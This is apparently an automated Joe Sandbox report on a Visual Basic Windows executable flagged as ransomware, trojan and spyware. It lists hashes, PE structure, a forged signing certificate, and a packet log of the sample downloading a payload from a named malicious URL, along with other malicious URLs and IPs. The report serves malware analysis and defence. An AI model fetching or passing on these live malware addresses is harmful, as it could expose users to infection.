http://mertyapit.com/abcd/lndb_isQxc208.bin	3%	Virustotal		Browse
http://mertyapit.com/abcd/lndb_isQxc208.bin	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mertyapit.com	78.142.209.31	true	false	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mertyapit.com/abcd/lndb_isQxc208.bin	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.142.209.31	mertyapit.com	Turkey		209853	VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	395385
Start date:	22.04.2021
Start time:	13:27:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Mal.Generic-S.24480.13627 (renamed file extension from 13627 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 59.5% (good quality ratio 51.8%) Quality average: 71.1% Quality standard deviation: 33.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 20.50.102.62, 93.184.220.29, 13.88.21.125, 52.147.198.201, 92.122.145.220, 40.88.32.150, 184.30.24.56, 104.42.151.234, 13.107.42.23, 13.107.5.88, 67.27.233.126, 67.27.159.126, 67.26.83.254, 67.26.139.254, 67.27.158.254, 92.122.213.194, 92.122.213.247, 13.64.90.137, 104.43.139.144, 20.82.210.154, 20.54.26.129 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, cs9.wac.phicdn.net, client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, config.edge.skype.com.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, e-0009.e-msedge.net, config-edge-skype.l-0014.l-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, l-0014.config.skype.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, ocsp.digicert.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, afdo-tas-offload.trafficmanager.net, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ocos-office365-s2s-msedge-net.e-0009.e-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, l-0014.l-msedge.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi	PowerShell_Input.ps1	Get hash	malicious	Browse	185.149.100.223
	Sample.doc	Get hash	malicious	Browse	185.149.100.223
	Sample.doc	Get hash	malicious	Browse	185.149.100.223
	m5bCbJdk7l.exe	Get hash	malicious	Browse	78.142.208.189
	Receipt 01.xlsx	Get hash	malicious	Browse	78.142.208.189
	P87k5f5ecn.exe	Get hash	malicious	Browse	78.142.208.189
	vB1Zux02Zf.exe	Get hash	malicious	Browse	78.142.208.189
	SecuriteInfo.com.BehavesLike.Win32.Generic.ch.exe	Get hash	malicious	Browse	78.142.208.9
	4vnTrjsACd.rtf	Get hash	malicious	Browse	78.142.208.189
	NsNu725j8o.exe	Get hash	malicious	Browse	78.142.208.189
	Qs6ySVV95N.exe	Get hash	malicious	Browse	78.142.208.189
	ugGgUEbqio.exe	Get hash	malicious	Browse	78.142.208.189
	Details here.exe	Get hash	malicious	Browse	78.142.208.9
	wkHpvThL2E.exe	Get hash	malicious	Browse	78.142.208.189
	415801-13-4-87946.doc	Get hash	malicious	Browse	45.151.250.142
	Confirm!!!..exe	Get hash	malicious	Browse	78.142.208.9
	wDMBDrN663.exe	Get hash	malicious	Browse	78.142.208.189
	http://www.rekmall.net/.well-known/acme-challenge/act_contactar2/admin_cat/mgc_chatbox/information-12/pspbrwse.php?sit=ervw1yb1atp20npd0&remember=quiet&feel=sleep	Get hash	malicious	Browse	45.151.250.202
	file.exe	Get hash	malicious	Browse	78.142.209.253
	NEW ORDER 15DEC.xlsx	Get hash	malicious	Browse	78.142.208.189

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.119482475975053
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Mal.Generic-S.24480.exe
File size:	156976
MD5:	fe81c0cdf996335c5d5a6f75b564da51
SHA1:	389709fb8a2845f373c82ff74f9478d11b115326
SHA256:	c4c6dc5465aa1676119c00c0b45c0f3be1d525e31eff1d87072952f839e5cbf9
SHA512:	bca1924b48e15f11a3160727e0b4551860bc19b7f38a573a97d4ef34670d5355201b89fff365371c4cb74a4b5af2b6e8f5c06d36a7f83b05aeda9d6b5dcc7c62
SSDEEP:	3072:I/ccO4OT8moEt1upckfHZMUJ5g1igndol9unRzZYEEFSd:I/ccO4gwsupckfHZMUJ5g1igdS9uRzZD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L...+Y.R................. ...0...............0....@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401710
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x52B5592B [Sat Dec 21 09:02:35 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7a3a70cb080199018e93a3de757ce707

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=mdregruppen@Rimper.Fl, CN=Tyvstarterne4, OU=Trizonal, O=FACITLISTERNE, L=DATTERLIG, S=Ocypodan, C=TF
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	4/21/2021 5:11:46 PM 4/21/2022 5:11:46 PM
Subject Chain	E=mdregruppen@Rimper.Fl, CN=Tyvstarterne4, OU=Trizonal, O=FACITLISTERNE, L=DATTERLIG, S=Ocypodan, C=TF
Version:	3
Thumbprint MD5:	9AB0B51E5335FEA6F39FDF3DFED1017F
Thumbprint SHA-1:	8F755B4ED53F46B44C763BFE66186448BA0D3B87
Thumbprint SHA-256:	8E71BB6F9E36D25552FF3B1012A83650C073C6677E18EF2FAC5914739DDA3A23
Serial:	00

Entrypoint Preview

Instruction
push 00401930h
call 00007F96C08B8DD5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], bh
fsubr dword ptr [ecx]
jnc 00007F96C08B8E2Eh
xchg eax, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x21ba4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x25000	0x900	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x25000	0x1530
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x184	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x211c0	0x22000	False	0.382044175092	data	6.31771354021	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x23000	0x12b0	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x25000	0x900	0x1000	False	0.166748046875	data	1.99303359091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x257d0	0x130	data
RT_ICON	0x254e8	0x2e8	data
RT_ICON	0x253c0	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x25390	0x30	data
RT_VERSION	0x25150	0x240	data	Chinese	Taiwan

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaStrVarMove, __vbaEnd, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaRecAnsiToUni, __vbaSetSystemError, __vbaRecDestruct, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaCyStr, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, __vbaRecUniToAnsi, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaFpCmpCy, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, __vbaVar2Vec, __vbaR8Str, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaStrToAnsi, __vbaVarDup, __vbaFpI4, __vbaRecDestructAnsi, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0404 0x04b0
InternalName	coalman
FileVersion	1.00
CompanyName	Green Stream Software
ProductName	Green Stream Software
ProductVersion	1.00
OriginalFilename	coalman.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	Taiwan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2021 13:29:18.225480080 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.307781935 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.307885885 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.308357000 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.389518023 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390770912 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390805006 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390829086 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390861988 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390862942 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.390882969 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390886068 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.390904903 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390927076 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.390934944 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.390955925 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.390983105 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.391043901 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.391067028 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.391092062 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.391108990 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472024918 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472070932 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472096920 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472122908 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472129107 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472146034 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472152948 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472172022 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472186089 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472197056 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472208023 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472220898 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472244024 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472249031 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472270966 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472275019 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472297907 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472300053 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472320080 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472325087 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472337008 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472348928 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472357988 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472374916 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472393036 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472399950 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472410917 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472424030 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472429037 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472454071 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.472461939 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.472496986 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.473521948 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.473625898 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553147078 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553174973 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553200006 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553222895 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553231001 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553244114 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553251982 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553265095 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553291082 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553309917 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553421021 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553447008 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553467035 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553479910 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553483009 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553505898 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553514957 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553533077 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553534985 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553556919 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553572893 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553579092 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553596973 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553600073 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553621054 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553627014 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553647995 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553673029 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553690910 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553714037 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553735018 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553739071 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553760052 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553777933 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553894997 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553921938 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553946018 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553950071 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553966045 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.553982973 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.553986073 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554008961 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554009914 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554028988 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554047108 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554050922 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554071903 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554079056 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554096937 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554115057 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554120064 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554140091 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554146051 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554161072 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554183960 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554209948 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554209948 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554229975 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554270029 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554286957 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554312944 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554335117 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.554354906 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.554389000 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634171963 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634242058 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634284973 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634300947 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634324074 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634325027 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634365082 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634377956 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634381056 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634404898 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634412050 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634445906 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634464979 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634485006 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634495974 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634526014 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634526968 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634567976 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634574890 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634617090 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634624004 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634655952 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634666920 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634696007 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634701967 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634732962 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634738922 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634771109 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634776115 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634809971 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634820938 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634848118 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634852886 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634891033 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634895086 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634937048 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634938955 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.634974957 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.634979963 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635014057 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635015965 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635052919 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635060072 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635091066 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635097027 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635129929 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635133028 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635168076 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635171890 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635216951 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635246038 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635260105 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635263920 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635298967 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635303974 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635337114 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635348082 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635375977 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635385990 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635426998 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635427952 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635466099 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635479927 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635505915 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635509968 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635543108 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635555983 CEST	49727	80	192.168.2.3	78.142.209.31
